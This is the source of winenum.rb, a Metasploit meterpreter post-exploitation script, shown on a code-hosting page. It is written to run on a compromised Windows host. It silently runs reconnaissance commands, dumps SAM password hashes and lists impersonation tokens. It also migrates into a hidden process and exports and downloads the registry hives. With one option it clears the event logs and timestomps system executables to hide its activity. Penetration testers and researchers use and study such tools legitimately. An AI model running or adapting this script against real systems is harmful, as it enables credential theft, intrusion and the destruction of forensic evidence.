Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/winenum.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: Carlos Perez at carlos_perez[at]darkoperator.com8#-------------------------------------------------------------------------------9################## Variable Declarations ##################10@client = client11opts = Rex::Parser::Arguments.new(12"-h" => [ false, "Help menu." ],13"-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ],14"-r" => [ false, "Dump, compress and download entire Registry" ],15"-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ]16)1718rd = nil19mg = nil20cm = nil21opts.parse(args) { |opt, idx, val|22case opt23when '-r'24rd = 125when '-m'26mg = 127when '-c'28cm = 129when "-h"30print_line "WinEnum -- Windows local enumeration"31print_line32print_line "Retrieves all kinds of information about the system"33print_line "including environment variables, network interfaces,"34print_line "routing, user accounts, and much more. Results are"35print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}"36print_line(opts.usage)37raise Rex::Script::Completed38end39}4041#-------------------------------------------------------------------------------4243host,port = @client.session_host, @client.session_port44info = @client.sys.config.sysinfo45# Create Filename info to be appended to downloaded files46filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")4748# Create a directory for the logs49logs = ::File.join(Msf::Config.log_directory,'scripts', 'winenum',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo))50@logfol = logs51# Create the log directory52::FileUtils.mkdir_p(logs)5354#log file name55@dest = logs + "/" + Rex::FileUtils.clean_path(info['Computer'] + filenameinfo) + ".txt"5657# Commands that will be ran on the Target58commands = [59'cmd.exe /c set',60'arp -a',61'ipconfig /all',62'ipconfig /displaydns',63'route print',64'net view',65'netstat -nao',66'netstat -vb',67'netstat -ns',68'net accounts',69'net accounts /domain',70'net session',71'net share',72'net group',73'net user',74'net localgroup',75'net localgroup administrators',76'net group administrators',77'net view /domain',78'netsh firewall show config',79'tasklist /svc',80'tasklist /m',81'gpresult /SCOPE COMPUTER /Z',82'gpresult /SCOPE USER /Z'83]84# Windows 2008 Commands85win2k8cmd = [86'servermanagercmd.exe -q',87'cscript /nologo winrm get winrm/config',88]89# Commands that MACE will be changed90cmdstomp = [91'cmd.exe',92'reg.exe',93'ipconfig.exe',94'route.exe',95'net.exe',96'netstat.exe',97'netsh.exe',98'makecab.exe',99'tasklist.exe',100'wbem\\wmic.exe',101'gpresult.exe'102]103# WMIC Commands that will be executed on the Target104wmic = [105'useraccount list',106'group list',107'service list brief',108'volume list brief',109'logicaldisk get description,filesystem,name,size',110'netlogin get name,lastlogon,badpasswordcount',111'netclient list brief',112'netuse get name,username,connectiontype,localname',113'share get name,path',114'nteventlog get path,filename,writeable',115'process list brief',116'startup list full',117'rdtoggle list',118'product get name,version',119'qfe',120]121#Specific Commands for Windows vista for Wireless Enumeration122vstwlancmd = [123'netsh wlan show interfaces',124'netsh wlan show drivers',125'netsh wlan show profiles',126'netsh wlan show networks mode=bssid',127]128# Commands that are not present in Windows 2000129nonwin2kcmd = [130'netsh firewall show config',131'tasklist /svc',132'gpresult /SCOPE COMPUTER /Z',133'gpresult /SCOPE USER /Z',134'prnport -l',135'prnmngr -g',136'tasklist.exe',137'wbem\\wmic.exe',138'netsh.exe',139]140# Executables not present in Windows 2000141nowin2kexe = [142'netsh.exe',143'gpresult.exe',144'tasklist.exe',145'wbem\\wmic.exe',146]147################## Function Declarations ##################148149def findprogs()150print_status("Extracting software list from registry")151proglist = ""152threadnum = 0153a = []154appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',155'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ]156appkeys.each do |keyx86|157soft_keys = registry_enumkeys(keyx86)158if soft_keys159soft_keys.each do |k|160if threadnum < 10161a.push(::Thread.new {162begin163dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName")164dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion")165proglist << "#{dispnm},#{dispversion}"166rescue167end168})169threadnum += 1170else171sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?172threadnum = 0173end174end175end176end177178file_local_write("#{@logfol}/programs_list.csv",proglist)179end180# Function to check if Target Machine a VM181# Note: will add soon Hyper-v and Citrix Xen check.182def chkvm()183check = nil184vmout = ''185info = @client.sys.config.sysinfo186print_status "Checking if #{info['Computer']} is a Virtual Machine ........"187188# Check for Target Machines if running in VM, only for VMware Workstation/Fusion189begin190key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS'191root_key, base_key = @client.sys.registry.splitkey(key)192open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)193v = open_key.query_value('SystemManufacturer')194sysmnfg = v.data.downcase195if sysmnfg =~ /vmware/196print_status "\tThis is a VMware Workstation/Fusion Virtual Machine"197vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n"198check = 1199elsif sysmnfg =~ /xen/200print_status("\tThis is a Xen Virtual Machine.")201check = 1202end203rescue204205end206if check != 1207begin208#Registry path using the HD and CD rom entries in the registry in case propirtary tools are209#not installed.210key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0"211root_key2, base_key2 = @client.sys.registry.splitkey(key2)212open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ)213v2 = open_key2.query_value('Identifier')214215if v2.data.downcase =~ /vmware/216print_status "\tThis is a VMWare virtual Machine"217vmout << "This is a VMWare virtual Machine\n\n"218elsif v2.data =~ /vbox/219print_status "\tThis is a Sun VirtualBox virtual Machine"220vmout << "This is a Sun VirtualBox virtual Machine\n\n"221elsif v2.data.downcase =~ /xen/222print_status "\tThis is a Xen virtual Machine"223vmout << "This is a Xen virtual Machine\n\n"224elsif v2.data.downcase =~ /virtual hd/225print_status "\tThis is a Hyper-V/Virtual Server virtual Machine"226vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n"227end228rescue::Exception => e229end230end231vmout232end233#-------------------------------------------------------------------------------234# Function for running a list a commands stored in a array, return string235def list_exec(cmdlst)236print_status("Running Command List ...")237i = 0238a =[]239@client.response_timeout=120240cmdlst.each do |cmd|241if i < 10242a.push(::Thread.new {243r,cmdout='',""244print_status "\trunning command #{cmd}"245r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})246while(d = r.channel.read)247cmdout << d248file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)249end250cmdout = ""251r.channel.close252r.close253})254i += 1255256257else258sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty?259i = 0260end261end262263a.delete_if {|x| not x.alive?} while not a.empty?264end265#-------------------------------------------------------------------------------266# Function for running a list of WMIC commands stored in a array, returns string267def wmicexec(wmiccmds= nil)268print_status("Running WMIC Commands ....")269i, a = 0, []270@client.response_timeout=120271272begin273tmp = @client.sys.config.getenv('TEMP')274275wmiccmds.each do |wmi|276if i < 10277a.push(::Thread.new {278tmpout = ''279wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv"280print_status "\trunning command wmic #{wmi}"281flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv"282r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true})283sleep(2)284#Making sure that WMIC finishes before executing next WMIC command285prog2check = "wmic.exe"286found = 0287while found == 0288@client.sys.process.get_processes().each do |x|289found =1290if prog2check == (x['name'].downcase)291sleep(0.5)292found = 0293end294end295end296r.close297# Read output of WMIC298wmioutfile = @client.fs.file.new(wmicfl, "rb")299until wmioutfile.eof?300tmpout << wmioutfile.read301end302wmioutfile.close303# Create file with output of command304filewrt(flname,tmpout)305# Delete created file on disk306begin307@client.fs.file.rm(wmicfl)308rescue309end310311})312i += 1313else314sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty?315i = 0316end317end318a.delete_if {|x| not x.alive?} while not a.empty?319320rescue ::Exception => e321print_status("Error running WMIC commands: #{e.class} #{e}")322end323end324#-------------------------------------------------------------------------------325#Function for getting the NTLM and LANMAN hashes out of a system326def gethash()327print_status("Dumping password hashes...")328begin329hash = ''330@client.core.use("priv")331select(nil, nil, nil, 3)332hashes = @client.priv.sam_hashes333hashes.each do |h|334hash << h.to_s+"\n"335end336hash << "\n\n\n"337print_status("Hashes Dumped")338rescue ::Exception => e339print_status("\tError dumping hashes: #{e.class} #{e}")340print_status("\tPayload may be running with insufficient privileges!")341end342flname = "#{@logfol}/hashdump.txt"343file_local_write(flname,hash)344345end346#-------------------------------------------------------------------------------347#Function that uses the incognito features to list tokens on the system that can be used348def listtokens()349begin350print_status("Getting Tokens...")351dt = ''352@client.core.use("incognito")353i = 0354dt << "****************************\n"355dt << " List of Available Tokens\n"356dt << "****************************\n\n"357while i < 2358tokens = @client.incognito.incognito_list_tokens(i)359if i == 0360tType = "User"361else362tType = "Group"363end364dt << "#{tType} Delegation Tokens Available \n"365dt << "======================================== \n"366367tokens['delegation'].each_line{ |string|368dt << string + "\n"369}370371dt << "\n"372dt << "#{tType} Impersonation Tokens Available \n"373dt << "======================================== \n"374375tokens['impersonation'].each_line{ |string|376dt << string + "\n"377}378i += 1379break if i == 2380end381print_status("All tokens have been processed")382rescue ::Exception => e383print_status("Error Getting Tokens: #{e.class} #{e}")384end385file_local_write("#{@logfol}/tokens.txt",dt)386end387#-------------------------------------------------------------------------------388# Function for clearing all event logs389def clrevtlgs()390evtlogs = [391'security',392'system',393'application',394'directory service',395'dns server',396'file replication service'397]398print_status("Clearing Event Logs, this will leave and event 517")399begin400evtlogs.each do |evl|401print_status("\tClearing the #{evl} Event Log")402log = @client.sys.eventlog.open(evl)403log.clear404file_local_write(@dest,"Cleared the #{evl} Event Log")405end406print_status("All Event Logs have been cleared")407rescue ::Exception => e408print_status("Error clearing Event Log: #{e.class} #{e}")409410end411end412#-------------------------------------------------------------------------------413# Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array414# The files have to be in %WinDir%\System32 folder.415def chmace(cmds)416windir = ''417print_status("Changing Access Time, Modified Time and Created Time of Files Used")418windir = @client.sys.config.getenv('WinDir')419cmds.each do |c|420begin421@client.core.use("priv")422filetostomp = windir + "\\system32\\"+ c423fl2clone = windir + "\\system32\\chkdsk.exe"424print_status("\tChanging file MACE attributes on #{filetostomp}")425@client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)426file_local_write(@dest,"Changed MACE of #{filetostomp}")427rescue ::Exception => e428print_status("Error changing MACE: #{e.class} #{e}")429end430end431end432#-------------------------------------------------------------------------------433#Dumping and Downloading the Registry of the target machine434def regdump(pathoflogs,filename)435host,port = @client.session_host, @client.session_port436#This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress437garbage = ''438hives = %w{HKCU HKLM HKCC HKCR HKU}439windir = @client.sys.config.getenv('WinDir')440print_status('Dumping and Downloading the Registry')441hives.each do |hive|442begin443print_status("\tExporting #{hive}")444r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true})445while(d = r.channel.read)446garbage << d447end448r.channel.close449r.close450print_status("\tCompressing #{hive} into cab file for faster download")451r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true})452while(d = r.channel.read)453garbage << d454end455r.channel.close456r.close457458rescue ::Exception => e459print_status("Error dumping Registry Hives #{e.class} #{e}")460end461end462#Downloading compressed registry Hives463hives.each do |hive|464begin465print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab")466@client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab")467file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive")468sleep(5)469rescue ::Exception => e470print_status("Error Downloading Registry Hives #{e.class} #{e}")471end472end473#Deleting left over files474print_status("\tDeleting left over files")475@client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'})476477end478#-------------------------------------------------------------------------------479# Function that will call 2 other Functions to cover all tracks480def covertracks(cmdstomp)481clrevtlgs()482info = @client.sys.config.sysinfo483trgtos = info['OS']484if trgtos =~ /(Windows 2000)/485chmace(cmdstomp - nonwin2kcmd)486else487chmace(cmdstomp)488end489end490491#-------------------------------------------------------------------------------492# Functions Provided by natron (natron 0x40 invisibledenizen 0x2E com)493# for Process Migration494#---------------------------------------------------------------------------------------------------------495def launchProc(target)496print_status("Launching hidden #{target}...")497498# Set the vars; these can of course be modified if need be499cmd_exec = target500cmd_args = nil501hidden = true502channelized = nil503use_thread_token = false504505# Launch new process506newproc = @client.sys.process.execute(cmd_exec, cmd_args,507'Channelized' => channelized,508'Hidden' => hidden,509'InMemory' => nil,510'UseThreadToken' => use_thread_token)511512print_status("Process #{newproc.pid} created.")513514return newproc515end516#-------------------------------------------------------------------------------517def migrateToProc(newproc)518# Grab the current pid info519server = @client.sys.process.open520print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.")521522# Save the old process info so we can kill it after migration.523oldproc = server.pid524525# Do the migration526@client.core.migrate(newproc.pid.to_i)527528print_status("Migration completed successfully.")529530# Grab new process info531server = @client.sys.process.open532533print_status("New server process: #{server.name} (#{server.pid})")534535return oldproc536end537538#-------------------------------------------------------------------------------539def killApp(procpid)540@client.sys.process.kill(procpid)541print_status("Old process #{procpid} killed.")542end543544#---------------------------------------------------------------------------------------------------------545# Function to execute process migration546def migrate()547target = 'cmd.exe'548newProcPid = launchProc(target)549oldProc = migrateToProc(newProcPid)550#killApp(oldProc)551#Dangerous depending on the service exploited552end553#---------------------------------------------------------------------------------------------------------554#Function for Checking for UAC555def uaccheck()556uac = is_uac_enabled?557if uac558print_status("\tUAC is Enabled")559else560print_status("\tUAC is Disabled")561end562563return uac564end565566#check for proper Meterpreter Platform567def unsupported568print_error("This version of Meterpreter is not supported with this Script!")569raise Rex::Script::Completed570end571unsupported if client.platform != 'windows'572573################## MAIN ##################574575# Execute Functions selected576if (mg != nil)577migrate()578end579# Main part of script, it will run all function minus the ones580# that will chance the MACE and Clear the Event log.581print_status("Running Windows Local Enumeration Meterpreter Script")582print_status("New session on #{host}:#{port}...")583584# Header for File that will hold all the output of the commands585info = @client.sys.config.sysinfo586header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"587header << "Running as: #{@client.sys.config.getuid}\n"588header << "Host: #{info['Computer']}\n"589header << "OS: #{info['OS']}\n"590header << "\n\n\n"591print_status("Saving general report to #{@dest}")592print_status("Output of each individual command is saved to #{@logfol}")593file_local_write(@dest,header)594file_local_write(@dest,chkvm())595trgtos = info['OS']596uac = uaccheck()597# Run Commands according to OS some commands are not available on all versions of Windows598if trgtos =~ /(Windows XP)/599if trgtos =~ /(2600, \)|2600, Service Pack 1\))/600commands.delete('netstat -vb')601commands.delete('netsh firewall show config')602end603list_exec(commands)604wmicexec(wmic)605findprogs()606gethash()607elsif trgtos =~ /(Windows .NET)/608list_exec(commands)609wmicexec(wmic)610findprogs()611gethash()612elsif trgtos =~ /(Windows 2008)/613list_exec(commands + win2k8cmd)614wmicexec(wmic)615findprogs()616if not is_system?617print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.")618else619gethash()620end621elsif trgtos =~ /Windows (Vista|7)/622list_exec(commands + vstwlancmd)623# Check for UAC and save results624if uac625file_local_write(@dest,"UAC is Enabled")626else627file_local_write(@dest,"UAC is Disabled")628end629wmicexec(wmic)630findprogs()631if not is_system?632print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.")633else634gethash()635end636elsif trgtos =~ /(Windows 2000)/637list_exec(commands - nonwin2kcmd)638gethash()639end640641listtokens()642if (rd != nil)643if not uac644regdump(logs,filenameinfo)645else646print_status("UAC is enabled, Registry Keys could not be dumped under current privileges")647end648end649if (cm != nil)650if trgtos =~ /(Windows 2000)/651covertracks(cmdstomp - nowin2kexe)652else653if not uac654covertracks(cmdstomp)655else656print_status("UAC is enabled, Logs could not be cleared under current privileges")657end658end659end660print_status("Done!")661662663